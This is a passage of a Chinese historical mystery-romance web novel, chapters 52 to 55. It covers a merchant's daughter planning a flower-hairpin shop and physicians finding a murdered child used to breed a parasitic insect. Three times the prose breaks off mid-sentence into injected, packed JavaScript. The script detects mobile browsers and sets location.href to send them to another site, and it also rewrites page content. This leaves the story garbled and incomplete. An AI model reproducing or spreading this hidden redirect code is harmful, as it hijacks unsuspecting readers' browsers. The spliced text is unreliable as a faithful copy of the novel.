寻常首饰铺子,大多都是售卖成品发簪,本钱少一点便吃不下稀罕的货,若再想与人竞争就只能让压价让利,实在不是长久之计。 故而黄舒窈在对发饰生意考察一番过后,便决定要走出另一条路子,即对不同发髻和簪饰的搭配进行设计,再参考瓶花之法,用新鲜花朵作为搭配,向主顾们兜售整体造型。 “楠竹阿姊。”她将画册向身旁的青衣女子那边挪了挪,用手指轻轻点着上边的图案,柔声问道:“你快看看,我这以鲜花簪发的点子,可还使得?” 楠竹接过画册,目光挨个扫过精巧的发型与花饰搭配,姿态毫不敷衍。 “娘子玲珑心窍,想出的主意自然都是极好的。”楠竹看罢,将画册收起,神色绝无一丝奉承:“奴婢虽是近日才从田庄过来,可这一路上也听不少人说起娘子您才貌双绝,在花神会上的亮相颇为惊艳。” 黄舒窈闻言含羞一笑,像是有些不好意思。 “其实……我也是想趁着花神会的风头尚在,自己还有些名气,赶紧将店铺开起来,也好赚些银两贴补家用,为母亲分忧。” 她说到此处,又坐近一些,握起楠竹的双手,“说来此事还少不得要劳烦楠竹阿姊你……当年在田庄时祖母就时常向我夸赞你聪慧细心,对经商一道尤为擅长,原本家中是想留你继续掌管田庄事宜的,都怪我受人蒙蔽,挑了个不知底细的丫鬟,现下出了事,还得让你放下手中的活计大老远跑来照看我……” 楠竹是跟在林老夫人身边十余年的大丫头,聪慧机敏、处世老练,在二林村的田庄里同时照顾着林老夫人和黄舒窈的生活起居,另一边还要协助林老夫人打理田庄,近几年里更是一手操持着田庄中的各项事务,俨然已成半个管事,若非手边无人可用,陈德音也不会将她叫回来给自家女儿做贴身丫鬟。 每每想起这件事,黄舒窈的心里都觉得有些过意不去。 还好楠竹并没有计较这些。 她轻轻拍着黄舒窈的手背,诚恳道:“能让娘子有几分需要和信任,那是奴婢莫大的荣幸,您可不能再说这些折煞奴婢的话了!” “既如此,还请楠竹阿姊莫有顾虑,将心中所想直言相告。” 黄舒窈既这般说,楠竹也不再隐瞒,“鲜花自带香气,美艳灵动,确是极好。可惜……就是太易凋零,又要受花期限制,如今首饰铺子多是用像生花来制作花簪,想来也有几分道理。” 这话说得中肯,直接点出了鲜花簪发最现实的难点,与之相关的制售成本也是不能不考虑的问题。 黄舒窈安静地听着,唇边笑意微僵,却没有完全褪去。 未几,她柔声道:“阿姊说得在理,不过……容易凋零倒也未必是件坏事。” “嗯?” 见对方不解,黄舒窈随即笑道:“我开这间‘鬓边香’,本就没打算售卖那些数十年不变的寻常物件,我能提供的,是桃夭正红的那个瞬间,或茉莉最浓的那抹幽香,它或许几个时辰之后就会颓败,但这一瞬的美丽却是独一无二,过时不候的。” 她神采奕奕,语气温和却不容置疑:“芳华易逝,并非缺憾,而是这种美最无可替代的珍贵之处!” 楠竹不免怔愣,她还从没以这个角度考虑过问题。 看她眼中流露出些许惊讶神色,黄舒窈笑意更深,“至于花期限制,其实也好办,今日我来百年红就是想跟阮园主聊聊长期的合作,到时我们按时令选用应季鲜花,春簪碧桃、夏戴牡丹、秋携金桂、冬插寒梅,岂不比常年戴着几款模样差不多的绢花更有生趣?说不准啊……客人还会期待,我们‘鬓边香’下一季会以什么鲜花做主打,给她们带来何等惊喜呢!” 如此,楠竹总算彻底看清,黄舒窈想做生意是深思熟虑后的结果,绝非头脑一热的轻率之举,而这位看似天真柔弱、不谙世事的少女,其实主意正得很,对要做的事也都早有成算。 这个认识让她心下颇为欣慰,但这份坚定也让她的忧虑更添一分。 “娘子,您莫怪奴婢多嘴,陈夫人如果知道此事,恐怕不会高兴的。” 听闻此言,黄舒窈的神色有些落寞。 母亲的心思,她又何尝不知? 陈德音自恃士族出身,平日里就对黄氏这个商户之家百般嫌弃,若是知晓黄舒窈竟学着做起生意,还不得打断她的腿? 可如今正房失势,待下个月段姨娘被正式纳入黄家后,她们母女还指不定要受什么气,手中没有些许银两傍身,母亲和她将来又该如何自处? 黄舒窈轻声叹气,苦笑道:“母亲自然是更想让我嫁个像样的人家,过正经夫人的日子……这些我都明白的……你放心,付巡按那边……我定会再想法子与他亲近,只是近日县中疫病横行,想必官府里边都忙着正事,我不好打扰,也不知还有没有机会见着他……” 她正说着,车夫突然勒马,车厢剧烈晃动,引得两人一阵惊呼。 楠竹怒上心头,隔着帷幔怒斥起来:“你这奴才是怎么回事?若让娘子受了惊,可有你好看!还不赶紧……” 那车夫喉咙有疾,发不出声,所以楠竹也没指望能得到什么回应,可意料之外的是,她话刚说半截,便被人冷冷打断。 “何人竟敢在此放肆?” 猛然听到这么一声,车内的黄舒窈不禁打了个颤,但那一瞬的惊惧过后,她又迅速稳住阵脚。 这声音她并不陌生,是总跟在付巡按身边的那个女侍卫。 黄舒窈撩开车窗上的帘幔,果然看见桑恬正气势汹汹地拦在路中间。 “桑娘子,是我……劳驾您行个方便。” 对方闻言眉峰紧蹙,看不出一丁点要卖她面子的打算,就连语气也是一如既往的冰冷:“黄娘子,今日此路不通,还请回吧。” “此路不通?” 黄舒窈有些惊讶,心道此处可是花圃百年红正门前的必经之路,官府便是有事要在城郊设卡,也不能耽误人家开张做事吧? “桑娘子……我有些生意上的事要寻阮园主面谈,还请通融,放我过路。” 见她这般不识趣,桑恬有些烦躁。 “黄娘子,方才我已说过,今日此路不通,你是见不得阮百年了。若再纠缠下去,打搅官府办案,甚或因此耽误大事,可说不好会落下什么罪过!” “桑娘子,听您这个意思……莫非是百年红出了什么状况?” 黄舒窈在家里养病半月,对外边发生的事情一概不知,今日还是借着去庙里进香祈福的由头才偷偷跑来见阮百年,连拜帖都来不及递,自然不知此处早已人走园空。 但桑恬可没有耐心与她仔细分说。 “官府办案,闲杂人等休要打听。另外,桑某凭身手赚饷银,如男儿般立于世间,你合该唤我一声……” “桑侍卫!” 她正要说出这三个字,就被来人截住话头。 面对付昂,桑恬的气势立马缩下去几分。 但对方只是笑了笑,并没有要治她罪的意思,只问:“这是……阮园主有客人来访?” 车厢上挂着的灯笼明晃晃地写着“黄”这个大字,付昂对车内何人自是早有猜测,多此一问不过就是给桑恬一些机会缓解尴尬而已。 她对付昂的用意也很清楚,所以即使不情愿也仍旧公事公办地给出答复:“回大人,是黄季之女黄娘子,称有生意上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002586|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事要找阮百年。” 正说着,黄舒窈已缓步下车。 今日她穿着条鹅黄色的高腰襦裙,下摆上绣着浅碧色的荷花,伴随步子轻轻摇曳,令围观的衙役侍卫们看得都有些发痴。 可黄舒窈的目光却是半点都没有分到旁人身上,她在付昂面前站定,向他微微福身。 “付巡按。”说罢便抬眼相望,眸中满是一汪秋水。 她的模样娇美又姿态柔弱,就像是朵在风中摇曳的花,恐怕任何男子见到都会忍不住心生怜爱之意,但付昂却没有半分旁的表示。 他抬手回礼,态度温和却又暗含疏离,甚至还有几分阴阳怪气:“本官听闻黄娘子大病未愈,连官府上门问话都无法露面,未曾想……今日竟在此处见着了。” 早在将阿姎留在州府衙门的当日,付昂便派人去黄家查证过阿姎所言的真伪,对于虐打家奴一事,池嬷嬷供认不讳,黄家也愿意多掏银两以促和解,考虑到阿姎无意追究,他也就没再紧咬不放,可对于真正要紧的“巫女做法”一事,陈德音虽然表面配合,实际却只是闪烁其词搪塞应付,而在问及黄舒窈为何卧床之时,也只道她染了风寒,断不肯承认是同疫病有关。 黄舒窈对母亲在此期间的所作所为大概有些了解,听得付昂如此发问,不免有些尴尬。 她以手指绞了绞袖口,垂下眼眸心虚道:“民女自幼体弱,日前的确是卧床将养了一阵,并非有意躲避。不知……付巡按差人去家中问话……可有得到满意答复?” “罢了。”付昂挥了挥手,“黄娘子大病初愈,怎么不在家中多休养一阵,反倒大老远的跑来此处?” 黄舒窈一听,忙挂起一抹羞涩笑意,“劳付巡按挂心,民女今日是有些生意上的事要同阮园主商讨,不巧竟搅扰了官府办事,实属不该,还请莫怪……” “哦?黄娘子同阮园主相熟?” 听付昂突然这般问起,楠竹心中不免有些埋怨自家娘子的失言。 商户身份低微,在付氏这样的世家高门面前本就抬不起头,黄舒窈一介闺阁娘子,若再落下个与外男私下会面的把柄,恐怕会更难得其青眼。 但黄舒窈之所以如此行事,也有自己的考量。 在她看来,成婚如合伙,总要双方互相尊重才能得以长久,因此有些短处还是得暴露在前,方知两人是否有继续接触的必要。 若付昂同多数世家子弟一般,只因她抛头露面在商场周旋就对其嗤之以鼻,那不论她使出再多手段也恐难成就一段好姻缘,倒不如早些放弃,省得自取其辱。 楠竹显然并没有领会到这番用意,她顾不得太多,抢先一步插话道:“付巡按误会了,娘子从没有见过阮园主,只是夫人想着娘子已到及笄之年,合该先历练一番,方能在许嫁过门后更好地担当起执掌中馈的主母之责,这才让奴婢陪着来同阮园主谈这单生意,绝非……” “大人!不好了!” 一声惊呼伴随着仓促凌乱的脚步声由远及近,将这番半真半假的说辞生生打断。 几人偏头看去,只见数名衙役正朝此处奔来,打头的那位怀里还抱着一个用黑布胡乱包裹着的人形物体。 “怎么了?”付昂拧眉,下意识向前几步。 张义已跑到近前,两臂颤抖着将怀中之物捧出,“大人您看!这是在东北边墙根发现的,身上没什么遮盖,小的翻开草丛就见着了,赶紧拿黑布裹着给您送过来看看……虽说已断了气,可这脉还跳着呢!” 付昂心头一沉,伸出的右手微微颤动。 “大人,我来!”桑恬自告奋勇,一把掀开布角。 她的动作太快,围观众人没有心理准备,骤然见到此等惨状,个个皆是胃液翻涌。 付昂面色惨白,强忍住那股作呕之感,竭力大喝:“快!送归元堂!” 53. 枝节(下) 归元堂内,江楚禾从清早一直忙到日头渐西,好容易将治疫期间积攒的事务处理干净,就听见一阵令她头皮发麻的声音。 “江!娘!子!” 又是钱媪! 随着甜果的彻底康复,她也一扫之前的满面愁容,又回到先前那副穿红戴绿、涂脂抹粉的模样,甫一出现在医馆门口,便随风飘进来一阵甜腻的脂粉香,还有一股…… 淡淡的野菜味儿? 江楚禾顺着事物的香气猛然回头,正对上钱惠姑那双大咧着的红唇。 “啊呀!江娘子忙着呐!喏,瞧我带什么来了?” 她微微晃手,抹着嫣红蔻丹的五指上正拴着一个纸包,那股野菜味道就是从这里边透出来的。 “这是……” “蒿子粑!特意做来给你尝鲜哒!” 眼下正是二月末,上巳节已近在眼前,而蒿子粑便是最应季的节庆美食,只是此物多流行于綦江以南的地区,江楚禾这个生长在兴京的定州人还从没吃过。 她从钱惠姑手中接过纸包,连连道谢,可后者听了却反倒作出不悦的模样。 “诶呀!江娘子这说的都是什么话!你可千万别跟老身客气了!我家甜果还是多亏有你才能捡回条命,我们一家人都不知该怎么谢你呢!” “都是医者本分,钱媪不必放在心上。” “啊呀!那怎么成!”钱惠姑一拍前胸,张口就打起包票:“老身别的本事没有,但江娘子的终身幸福,就包在我身上吧!绝对给你物色一户好人家!你尽管说,到底喜欢啥样的?我保管能给你说上!” “我……我不知道……” “噫!怎么能不知道呢!”钱惠姑一脸不可置信,“你只需琢磨自个儿跟什么人相处舒服,就是喜欢那样的!错不了!” 听钱媪这么一说,江楚禾的脑海里突然浮现出一个熟悉的身影。 那人仪态端严,天然带着一股摄人的气质,行止坐卧皆有章法,从未行过嬉闹之举,平素又总是寡言少语,罕有情绪流露的时候。 这样的人,本该是古板无趣,令她避之不及。 可不知为何,打从第一眼见到他起,江楚禾便觉得亲切,之后两人几度遇险,但凡有他在身边,她就心下熨帖,好像两人合力就能使一切问题迎刃而解。 见她若有所思,钱惠姑满脸喜色,“哎呀!瞧你这样子,是心里有人选啊!” “没有!绝对没有!” 江楚禾赶紧甩甩头,将自己的胡思乱想抛到脑后。 钱惠姑咧嘴笑,“既然没有,那老身给你挑一个!” “别!”江楚禾赶紧拉住她,摆出一脸为难之色,“钱媪,事到如今……我也就跟你说句实话,这医馆虽说不大,但也算是一份家业,可我早已没有旁的亲人,所以不好外嫁的……” 话没说完,钱惠姑就一拍大腿:“哎呀!懂了!你是要招赘!老身这就安排!正巧县里有个蔡郎君愿意入赘,人长得清秀,还懂写字作画,是个读书人哩!” “……” 见她像是有话要说,钱惠姑赶紧拿话堵嘴:“你别觉得奇怪,按说都有钱读书自然是不至于入赘,他这条件啊,原本是得考个功名的,可惜……唉……都怪前些年大疫的时候,因为治病花光银钱,这才家道中落……不过……他眼下正在宝蕴楼的言掌柜手下做事,勤恳能干,迟早能再过上红红火火的日子!你就放心吧!” “其实我也不……” “就这么定了!下月初三,我叫他来你医馆!哎呀,三月三,女儿节!指定是段天赐的良缘!” 钱惠姑自顾自定下日子,甩着手帕便要离开,生怕迟疑片刻就会被江楚禾找到拒绝的机会,不料还没走到门口,却险些跟外边闯入的人撞个满怀。 “江娘子!快!大人让你救救这孩子!” 桑恬气喘吁吁地跑进院内,递上一个用黑布裹着的人形物体。 里面是个约莫七、八岁的孩童,浑身糊满半干涸的血污,就连面部也没有一块完整的皮肉,只余下混合着凝固血块、破碎皮肤和烫伤水泡的一团暗红。 “呕!”钱惠姑只看了一眼,便难以抑制地干呕起来。 就在这时,那孩子的一只脚丫刚好从黑布中耷拉下去,大喇喇地在她面前晃了几晃。 钱惠姑定睛一看,当场惊呼:“啊呀!这……这是……虎娃!先前走丢的赵虎娃!” “什么?”桑恬赶紧拦住她的去路,连连发问:“你怎知这孩子是赵虎娃?莫非你见过他?他现在这副面目,应当没那么容易被认出来吧?” “啊呀!青天大老爷!还看什么脸?那双脚丫子啊……一眼就瞧出来咯!” “什么意思?劳驾将话说清楚些!” 桑恬不解,但正在内间诊室中忙碌着的江楚禾却瞬间就明白了其中的奥秘。 因为在赵虎娃的双足之上,分别都只有四根脚趾。 “嗨呀!”钱惠姑猛一跺脚,焦急辩道:“这孩子打从生下来就没有小脚趾,不然……他又不属虎,咋的会叫‘虎娃’嘞?” 虎,百兽之长也,生有后足两只,各四趾。 怪不得…… 桑恬若有所思地点着头,但在片刻之后,她又反问:“先前上报失踪时,官府曾问过这孩童的体貌特征,怎的没听他家里人提起这茬?” “嗐!他阿母海娘担心街坊四邻知道后要传闲话,都不往外说哩!可我是什么人?不是老身显摆,这几十年来,我给弋陵县里各家各户说过上千桩媒,消息灵通得很!谁家的事情能瞒得过我?” “东家!热水来了!” 宋福提着大桶匆匆跑来,将钱媪如连珠炮似地一通自夸径直打断。 趁着这个当口,桑恬总算能缓缓被吵得生疼的脑仁,也跟在后面往诊室走去。 但刚迈出两步,她又想起些什么,转身交代:“今日之事,你不可向任何人说起!否则若影响官府办案,拿你是问!” 钱惠姑早就看出她是公廨中人,自然乖乖应下,忙不迭地逃离此处。 余下的三人齐聚诊室内间,神色肃然地看向诊台上的孩童。 宋福已经将赵虎娃身上的血迹大致清理干净,露出苍白的肤色,除却几无血色的皮肤外,更离奇的是他背后那一排排诡异的凹痕,似字非字,似图非图,犹如符咒一般烙在身上,而身侧向前的部分则满是条状的压痕,好像曾被什么绳索牢牢捆 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不知是不是受到灯火的刺激,说话间那怪虫已然膨胀至两倍大,并且愈发躁动不安。 “现下当如何是好?” “我想想……” 江楚禾深深呼吸,强迫自己冷静下来,眼下虽不知是什么情况,但有一点是肯定的,那便是得先阻止这怪虫可能的逃逸或者爆发,否则后果不堪设想。 “穿针缝合!” 她当机立断,飞快地穿针引线,不过眨眼工夫便将那两条血红刀口严密缝起,只余下不到一寸的空隙。 此时赵虎娃的腹部已经开始膨胀,渐渐隆起一个不正常的半球形,原本就没有血色的肚皮被撑得又白又亮,刚被缝合起来的伤口也隐隐有要撕裂之势。 “阿福,试试雄黄酒!” 话音未落,诊室大门被人“砰”地撞开。 黑色衣裳随风掀起一角,露出浸染着暗色水印的绯红下摆,将外边的雨意一并带进屋内。 “师兄?” 宗稷恍若未闻,径自抄起手上的酒葫芦,以闪电之势将壶内之物尽数灌入赵虎娃的肚里。 腹腔内随之传来细微的嘶声,约莫几息之后,鼓胀的肚皮慢慢干瘪下去,抖动的四肢也逐渐安分,直至再无一丝生机。 死亡的寂静充满整间屋子,此处一度落针可闻。 宋福跪坐在地,还保持着在柜子里翻雄黄酒的姿势,手脚都僵在原处。 江楚禾指尖冰凉,她放下那截没能落针的桑皮线,用白布盖住面前的尸身。 眸中水意渐涨,她鼻头发酸,赶紧在落泪前撇过脸,把视线挪到一旁的黑红身影上。 宗稷凤眼低垂,正在用一块素布慢条斯理地擦拭手指,状似漫不经心,但以她对此人的了解,这便是他在专心致志思考时的模样。 江楚禾抿抿嘴,没有出声打扰。 但桑恬却忍不住要打破沉默。 “江娘子。”她上前半步,目光如锥,“这到底是怎么回事,还请给个说法。” 54. 诘问 江楚禾回想起那孩童身上的苍白压痕,还有腹内作祟的诡异赤虫,一时不知该如何应答。 她原计划等那人回来,与之商讨后再决定和付巡按说到什么程度,可桑恬这般急着发问,倒像是现在就非要她赶紧交代似的。 这该如何是好…… 就在她犹豫的当口,宗稷发话了。 “阁下既然已目睹全程,还向我等讨要哪门子的说法?” 他丢下手上的布巾,向前几步走到桑恬面前。 “一切如你所见,这孩童早已殒命,全因腹中异虫胀缩而造成尚有脉动的假象,无论今日我等如何施为,都无法救回他的性命。” 说到此处,他话音一顿,上挑的凤目透出四分倨傲和六分厌烦。 “官爷与其逼问我等为何救不回一个死人,倒不如把心思用在正事上,比如擒贼缉凶,好生探查究竟是何等穷凶极恶之徒,竟会对一个孩子下此等毒手。” 这一连串的反问怼得桑恬直发愣。 她跟随付昂办案也不是一天两天,还从没遇到初次见面就如此强势,不仅说话毫不客气,还句句都将责任反推回来的人物。 想起方才听见江楚禾唤这人“师兄”,她更觉得不可思议。 人人皆知青囊山庄悬壶济世,在大疫横行期间必遣弟子驰援,素日里亦常行布施之举,代代庄主皆是乐善好施的活菩萨,怎么门下还有这种刺儿头? 她蹙着眉头,冷声开口:“你是何人?” 眼见冲突一触即发,江楚禾赶紧上前,侧身站在两人之间,勉强扯出一丝笑意,“桑侍卫,方才没来得及介绍,这位是我师兄,青囊山庄少庄主,宗稷。师兄医术精湛,尤善毒理,刚刚若非他及时出手,后果不堪设想。” 桑恬的视线扫过那张线条紧绷的面孔,抿抿嘴不再言语。 看她像是打算给青囊山庄几分面子,江楚禾稍稍松一口气,又道:“师兄方才所言不虚,这孩子的脉动确系异虫所致假象,我等医家只能尽力防止此虫外逸伤人,但对已然消逝的生命,却是无力回天。” 说着,她垂下眼眸,神色颇有些自责。 桑恬无暇顾忌她的情绪,径直追问道:“异虫?它究竟是什么?我从未听说过此等邪物!” “异虫便是异虫,还能是什么?”宗稷再次抢话,语气比先前更加不善,“极端环境下,鸟兽草木尚会变异,何况虫豸乎?弋陵三面环山,瘴母岭雾瘴弥漫,滋生个把怪虫有甚么稀奇?无非就是其性阴毒,所以被居心叵测之人利用起来,装神弄鬼罢了!” 这番话又将桑恬噎得不轻。 她一贯重事实、讲证据,自然不会相信什么巫蛊邪说,只是因怪虫致疫在先,童尸养虫在后,中间又有疑似邪教中人暗地捣鬼,实在让人不得不多想,所以才多问一嘴,怎么这宗少庄主的态度倒像在指责她牵强附会似的。 而且…… 此人刚一进屋,便立刻用雄黄酒将怪虫灭除,也未免有些厉害得过头。 桑恬冷着脸,将这番怀疑说出口,不出所料地又迎来宗少庄主的一番讥讽。 “我巡视南郊药圃刚回来,走到巷口便见钱媪慌里慌张地从归元堂出去,询问之后才得知我的好师妹又因为帮衬官府给自个儿招来了什么麻烦,这不得赶紧着回来救命?”宗稷两手一摊,做无奈状,“好一顿折腾没落下句感谢之词也罢了,怎么反倒给自己惹一身骚?怎么,你们兴京来的贵人都是这般行事?还真是好大的官威!” 这下,即便对人情世故迟钝如桑恬,也已听出他言语中的敌意。 但在义庄那夜,几人分别之后,付昂就曾私下叮嘱称那位晏安校尉的安危关乎他的存亡成败,而此人的喜乐又有一多半都系于江娘子的身上,所以务必敬之重之,护其周全,对归元堂众人亦不可轻忽怠慢。 想起自己的任务,桑恬只好主动退让。 她抱拳一礼,语气诚恳:“是桑某失礼,望宗少庄主勿怪。方才危急关头,承蒙阁下相救,桑某感激不尽,只是不知宗少庄主如何在不曾亲眼见过的情况下,就判定雄黄酒是解决之法,此乃桑某真心求教,请宗少庄主慷慨解惑。” “雄黄是至阳燥烈之物,专克阴毒,这是常识!” 宗稷恨不能翻起个白眼,就差指着人鼻子质问“你可曾读过什么书”了。 桑恬一时语塞,只好看向江楚禾,后者正横在两人之间,一边是掺杂疑虑和求证意味的视线,一边是充满笃定与不容置疑的目光,双方皆是剑拔弩张。 她心中叫苦不迭,只得再度打起圆场。 “桑侍卫,我师兄所言之雄黄酒的特性,确实无误。他常年游历,见识广博,在毒学一道研究颇深,对此虫所做判断,想来也有其道理。不过此虫特性诡异,江某也是闻所未闻,实在无力相助,还请莫怪。” 当然,这番说辞只是她用来应付桑恬的权宜之计。 宗稷所言确有道理,但他的躲闪回避,江楚禾也都看在眼里。 “师兄,等等!” 桑恬前脚刚一离开,她后脚就追着宗稷往西厢客房走去,一把撑住将要合拢的屋门。 “跑这么快,是怕被我逼问么?” 宗稷眉心一跳,但很快就又摆出那副随意姿态,撒开推门的手,在她面前晃了晃。 “我受伤了,赶着回屋包扎来着,怎么,来帮师兄上药?” 江楚禾定睛细看,果然见他指腹上有一条淡淡的红色血印,像是被锋利之物割伤所致,不过伤口很浅,应当并无大碍。 他什么时候变这么娇气了? 江楚禾不禁腹诽。 “那你可得快点包起来,若再耽搁,伤口就要愈合了。” 听她这般阴阳怪气,宗稷倒也不恼,反而在看她跟着自己进屋之后又调侃起来:“禾儿,天都快黑了,还跟进男子的屋里,你知不知道这是什么意思?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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上面绘着一幅栩栩如生的工笔画,其写实逼真、惟妙惟肖,已臻呼之欲出的境界,但越是这样,也就越让人感到毛骨悚然。 因为她所绘的并非什么梅兰竹菊之类的风雅之物,而是一只赤红色的六足小虫。 此虫形如扁虱、口器尖锐,宗稷只看一眼,便立即将其认出。 它名唤“赤阳虱”,初代称为“虫母”,能吸食活人精血,不交者即可产子,子代本为青色,在吸足血气后即会变红,故被叫作“赤虫”。一只“赤虫”可以孤雌生殖,孵化出数百只“生虫”,供“血蚕”食用。 自打察觉那人身中血蚕之毒时,他就知道江楚禾迟早会查到这件事上,只是不想这天竟来得如此快! 宗稷不动声色,镇定发问:“这是什么?” “前不久弋陵突然爆发怪病,亡者肌肉萎废、犹如干尸,后查实患者体内皆有此虫,似乎有吸人精血之能,原本我就怀疑是与碧璆岛上的巫蛊秘术有关,今日见那童尸体内赤虫,与这个相差无几,只是体格稍大,阴邪异常,再考虑到付巡按近期仍在调查与所谓疫病相关的线索,便更加笃定我的猜测。” 宗稷挑眉,示意她继续说下去。 江楚禾毫不遮掩,将心中所想和盘托出:“此虫是蛊,而那孩童正是用以培育蛊母的容器。” 55. 诘问(下) 她猜得不错。 其实,“赤阳虱”本身的应用与寻常蛊物并不相似,之所以被归入“蛊物”之中,主要是因为它的“虫母”培育方式与养蛊类同,即以强壮童子的肉身作为蛊皿,任百只赤虫相互搏杀后,将其中胜者作为“虫母”培育,再用童子血肉悉心喂养,继而产出子代,在产子之后,亲代“虫母”则会与蛊皿融为一体,正如几人方才在赵虎娃身上所见的那样。 但宗稷绝不会任由她这样陷入对巫蛊秘术的猜测与探究之中。 “禾儿,巫蛊之论皆是妄谈,你莫要胡思乱想,在外更要慎言,不许再提什么‘蛊皿’、‘蛊母’之类的事。” “若是妄谈,为何藏典阁中会有明确记载类似秘法的书简?且我二伯游历期间也曾听碧璆岛的岛民说起过用甘茅引蛊的事情,这回我亲自试过,确有其效,可见并非谣传。” “书简皆是由人撰写,莫说错漏,便是有意说谎又有什么稀奇?再说你从泽甫先生那里听来的野闻,本就是道听途说,如何能作为行医的凭据?你这次或是碰巧走运,将来万不可如此武断,特别是涉及巫蛊之流,届时若犯了今上的大忌,青囊山庄可兜不住底!” 这番训斥如连珠炮一般,令得江楚禾耳边嗡嗡作响,她心知对方所言并非全无道理,便只得乖乖听着,待宗稷稍歇口气,才插话进去,为自己辩白起来。 “我知晓师兄是为青囊山庄考虑,所以才不肯将涉及巫蛊的猜测说与人听,可自古以来,人人皆知‘巫医同源’,并非是我胡乱攀扯,传自上古的巫医典籍就是实实在在的证据,上面可清楚明白地写有‘蛊物篇’,并非是我胡言乱语。” “你也知道那是上古时期!”宗稷一拍桌案,旁边的烛火应声抖动起来,“那时候的人们认知有限,难免会将一些效用奇特的异虫、毒物神秘化,说到底,所谓的‘蛊’也不过就是一个称呼,或许它们只是某些虫豸与毒物的结合而已,贸然将其和神秘异术扯在一起,对你可没有好处。” 车轱辘话捯来捯去,无非就是担心惹祸上身呗! 江楚禾也没想到,一向敢作敢为的师兄居然也会这般放不开手脚。 “师兄放心,我自有分寸,绝不会给师父惹事。只不过……无论幕后之人使出的手段究竟是蛊还是毒,又或是什么旁的东西,有一点不会改变,他们在为百姓制造病痛,甚至伤亡。单凭这一点,此事我就非管不可!” 她语气坚定,宗稷却并未因这份医家担当而感到动容。 “你最好是因为心疼百姓。”他冷冷言道。 “师兄这话是什么意思?无论是他,还是付巡按,所做之事都是为了尽快缉拿凶手,还百姓安稳的生活,我帮他、帮付巡按,就是帮自己,更何况……” 江楚禾说到此处,又像是想起什么似的突然一顿,抿抿唇另起话头,道:“总之,我在此案当中所做的努力,无论是对师门还是对百姓,又或是对我自己,都是有百利而无一害,绝非因故友私情勉强行事,如果师兄对其中内情有何了解,也请看在那些无辜生命的份上,不要藏私。” “我怎么会对其中内情有了解?还‘藏私’?” 眼看宗稷拉下脸来,她赶忙摆摆手解释道:“我没别的意思!只是觉得……既然他们所用的五阳丹是巫医秘方,或许其他手段也能从巫医典籍中找到线索,我翻阅你此前帮我抄写的古籍时,发现蛊物篇有明显缺漏,没准差的那段儿便是关键之处,就想着师兄如果记得什么,或能帮上大忙。” 宗稷听罢,怒意稍减,但仍是一脸不悦。 “哼!使唤我给你抄书也就罢了,到头来还要怀疑我抄录不全?有你这样求人的么?” 关于这一点,江楚禾可是理直气壮,“治学要严谨,医书的错漏可容不得!回头我拿给你自个儿看看,有几段前言不搭后语,明显是遗漏内容的,就这……你还好意思向我讨酬劳呢?” “嗬!你倒是敢提起此事!”说起帮她抄录古籍的所谓“酬劳”,宗稷更是气不打一处来,“我还没来得及问你,为何做给我的衣裳如今却穿在旁人的身上?” “……”啧,有点心虚,不敢说话。 早先江楚禾央求他帮忙时,曾提出要以一身衣裳作为谢礼,后来在宗稷的私心作祟下,又讨价还价变成如今的“由师妹挑选布料亲手缝制方显诚意”。 当然,这笔交易在半年前宗稷将古籍的抄录本带来给她时就合该两讫的,只是江楚禾得他允诺后便将此事远远抛在脑后,待被哄骗的苦主已经找上门来,这才急匆匆地去布行选好料子,见缝插针地赶起工。 可直到师父发来消息将宗稷紧急召回师门,她也只制成半套衣衫。 宗稷不忍心看江楚禾因此受累,只得松口允她拖延一阵子,待再来弋陵时将衣裳给他便是。 未成想,当他刚一重回归元堂,就见着一位脸生的美男子已住在此处,不仅大喇喇地穿着师妹做给自己的衣裳,还成日里黏着江楚禾明里暗里的献殷勤。 更要紧的是,此人的身份…… 想到这里,宗稷的脸色明显变得更加阴沉,语气也带上几分质问之意:“我说,院里住着的那位……你到底清不清楚他的底细?” 听他又提起这茬,江楚禾突然来了脾气。 “我都同你说过多少回了,他在初见时便救过我的性命,之后又多次助我脱困,不是什么坏人!” 她一边说着一边起身,大有因气急败坏想要夺门而出的架势。 宗稷也随之站起,大步上前捉住她的手腕,语气咄咄逼人,“我无意同你探讨他是好是坏,我问的是……你可清楚他的底细!” “怎么不清楚了?”江楚禾甩开他的手,一脸愠色毫不掩饰,“早在五年前我和他便是过了命的交情,算起来……怕是比你我之间的情谊还要深厚几分……” “住口!”宗稷截断她的话头,一把合上刚被拉起寸余缝隙的门。 他单手撑着门框,将她抵在门板之上,两人之间只余下大约一拳的距离。 狭长凤眸一错不错地盯着她,像是锁定猎物的黑豹。 江楚禾从未见过他的这副脸孔,慌张之下赶紧伸手推搡,谁知对方竟岿然不动。 “开门!放我离开!” 她打不开门,也推不动人,在呼喊几声之后也没换来应答,便只好梗着脖子与他久久对视。 直到两人都双眼发酸,几近溢泪时,宗稷终于缓下语气,再度开口:“师兄没有别的意思,只是不想你受到蒙骗,错信他人……到时再伤了自个儿的心。” “他是什么样的人,我再清楚不过,师兄不必多虑。” 她对那人竟是这般维护! 意识到这一点后,一阵怒气直冲脑门,宗稷险些将真相脱口而出。 但话到嘴边,他又有些迟疑。 一来,他无法解释自己是如何获知的消息;二来,他不敢赌江楚禾的心意。 他想,若她当真对那人有情,恐怕未必会因其真实身份而心生嫌隙,反倒有可能失了顾虑,自此全无忌惮地投向对方的怀抱。 宗稷觉得矛盾极了,他既迫切想要弄清她对那人是否有意,又不愿自己悲观的设想就这样成为一个确定的事实。 撑在门上的五指逐渐收回,紧紧攥成拳头。 他在内心挣扎交战许久,终于还是开口问道:“你对那位晏公子可有男女之情?” 江楚禾闻言一怔。 看她是这个反应,宗稷的心顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 